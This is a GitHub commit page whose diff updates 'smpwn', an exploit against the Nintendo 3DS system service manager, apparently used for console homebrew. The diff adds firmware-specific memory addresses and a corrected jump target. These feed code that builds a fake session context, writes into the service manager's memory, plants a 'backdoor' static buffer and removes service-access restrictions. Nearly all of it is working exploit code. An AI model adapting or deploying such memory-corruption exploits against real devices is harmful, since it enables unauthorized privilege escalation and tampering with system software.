Skip to content

Commit

Permalink
Fix smpwn for 9.3 to 9.5, closes #3 and #4
Browse files Browse the repository at this point in the history
  • Loading branch information
TuxSH committed Apr 14, 2022
1 parent 25ddfb5 commit 1bbee6d
Showing 1 changed file with 38 additions and 14 deletions.
52 changes: 38 additions & 14 deletions source/smpwn.c
Original file line number Diff line number Diff line change
Expand Up @@ -20,19 +20,39 @@ typedef struct SmConstants {
u32 nbKipsAddr;
} SmConstants;

static const SmConstants s_constants = {
// Not sure about 9.2 and below, but we don't care anyway (as memchunkhax is used there)
static const SmConstants s_constants_93_94_95 = {
.tlsAddr = 0x1FF85000,
.staticBuffer0Addr = 0x10ADFC,
.serviceHandlerTableAddr = 0x105014,
.managerAddr = 0x106C80,
.serviceManager = 0x109F6C,
.cmdReplayInfoManager = 0x10ABF4,
.jumpAddr = 0x102444,
.jumpAddr = 0x1023E0,
.jumpAddr2 = 0x10021C,
.nbSrvPmSessionsAddr = 0x106000,
.nbKipsAddr = 0x106C9C,
};

// 9.6+
static const SmConstants s_constants_latest = {
.tlsAddr = 0x1FF85000,
.staticBuffer0Addr = 0x10ADFC,
.serviceHandlerTableAddr = 0x105014,
.managerAddr = 0x106C80,
.serviceManager = 0x109F6C,
.cmdReplayInfoManager = 0x10ABF4,
.jumpAddr = 0x102444, // only this changed
.jumpAddr2 = 0x10021C,
.nbSrvPmSessionsAddr = 0x106000,
.nbKipsAddr = 0x106C9C,
};

static inline const SmConstants *smpwnGetConstants(void)
{
return KERNEL_VERSION_MINOR < 50u ? &s_constants_93_94_95 : &s_constants_latest;
}

// Some SM structures definitions
struct SessionContext;
typedef struct SessionContextServiceInfo {
Expand Down Expand Up @@ -160,6 +180,7 @@ Result smpwn(Handle *outSrvHandle, SmpwnContext *ctx)
{
Result res = 0;
u16 numRegistered;
const SmConstants *constants = smpwnGetConstants();

memset(ctx, 0, sizeof(SmpwnContext));
TRY(svcCreateEvent(&ctx->waiterThreadWokeUpEvent, RESET_ONESHOT));
Expand All @@ -173,13 +194,13 @@ Result smpwn(Handle *outSrvHandle, SmpwnContext *ctx)
// We basically set up a static buffer pointing... to the static buffer descriptor area itself!

// NOTE: fakeSessionCtxLoc CANNOT be on TLS since the MSByte is non-zero and it'll clear the 5th byte...
u32 fakeSessionCtxLoc = s_constants.staticBuffer0Addr;
u32 staticBufsAddr = s_constants.tlsAddr + 0x180;
u32 fakeSessionCtxLoc = constants->staticBuffer0Addr;
u32 staticBufsAddr = constants->tlsAddr + 0x180;
u32 jumpAddrLoc = fakeSessionCtxLoc + 0x14 + 2*4; // &c.serviceInfo.replayCmdbuf[2]
u32 handlerId = (u32)((s32)(jumpAddrLoc - s_constants.serviceHandlerTableAddr)) >> 2;
u32 handlerId = (u32)((s32)(jumpAddrLoc - constants->serviceHandlerTableAddr)) >> 2;

SessionContext c = {
.manager = (void *)s_constants.managerAddr, // doesn't really matter
.manager = (void *)constants->managerAddr, // doesn't really matter
.pid = 0, // doesn't really matter either
.serviceInfo = {
.handle = 0, // r4
Expand All @@ -188,9 +209,9 @@ Result smpwn(Handle *outSrvHandle, SmpwnContext *ctx)
.replayCmdbuf = {
staticBufsAddr + 4, // r2 - Address
0, // r3
s_constants.jumpAddr, // overriden r4 - We'll use it for temporary storage
constants->jumpAddr, // overriden r4 - We'll use it for temporary storage
0, // overriden r9
s_constants.jumpAddr2, // r12 - Second address to jump to
constants->jumpAddr2, // r12 - Second address to jump to
},
},
};
Expand All @@ -214,7 +235,7 @@ Result smpwn(Handle *outSrvHandle, SmpwnContext *ctx)

svcClearEvent(ctx->waiterThreadWokeUpEvent);
for (numRegistered = 0; ; numRegistered++) {
svcSleepThread(1 * 1000 * 1000LL); // Give time for our replay info makes it to the top.
svcSleepThread(10 * 1000 * 1000LL); // Give time for our replay info makes it to the top.
TRY(smWrite8(ctx, fakeSessionCtxLoc, 0));

// Try to wake up the thread
Expand Down Expand Up @@ -254,7 +275,7 @@ Result smpwn(Handle *outSrvHandle, SmpwnContext *ctx)
// Also prepare LazyPixie buffers for < 11.12.
u32 staticBufs[16*2] = {
IPC_Desc_StaticBuffer(0x110, 0), // Original static buffer for srv:pm RegisterProcess
s_constants.staticBuffer0Addr,
constants->staticBuffer0Addr,

IPC_Desc_StaticBuffer((16 - 2)*8, 1),
staticBufsAddr + 2*8, // our backdoor
Expand Down Expand Up @@ -291,8 +312,10 @@ Result smPartiallyCleanupSmpwn(const SmpwnContext *ctx)
{
Result res = 0;
u16 nbReplayEntries = 0;
TRY(smWriteData(ctx, s_constants.serviceManager + 0, &ctx->initialServiceCount, 2)); // u16@0 = number of services
TRY(smWriteData(ctx, s_constants.cmdReplayInfoManager + 0, &nbReplayEntries, 2)); // u16@0 = number of entries
const SmConstants *constants = smpwnGetConstants();

TRY(smWriteData(ctx, constants->serviceManager + 0, &ctx->initialServiceCount, 2)); // u16@0 = number of services
TRY(smWriteData(ctx, constants->cmdReplayInfoManager + 0, &nbReplayEntries, 2)); // u16@0 = number of entries
return res;
}

Expand All @@ -301,9 +324,10 @@ Result smRemoveRestrictions(const SmpwnContext *ctx)
Result res = 0;
s32 nbSrvPmSessions = INT_MIN;
s16 nbKips = SHRT_MIN;
const SmConstants *constants = smpwnGetConstants();

TRY(smWriteData(ctx, s_constants.nbSrvPmSessionsAddr, &nbSrvPmSessions, 4));
TRY(smWriteData(ctx, s_constants.nbKipsAddr, &nbKips, 2));
TRY(smWriteData(ctx, constants->nbSrvPmSessionsAddr, &nbSrvPmSessions, 4));
TRY(smWriteData(ctx, constants->nbKipsAddr, &nbKips, 2));

return res;
}
Expand Down

0 comments on commit 1bbee6d

Please sign in to comment.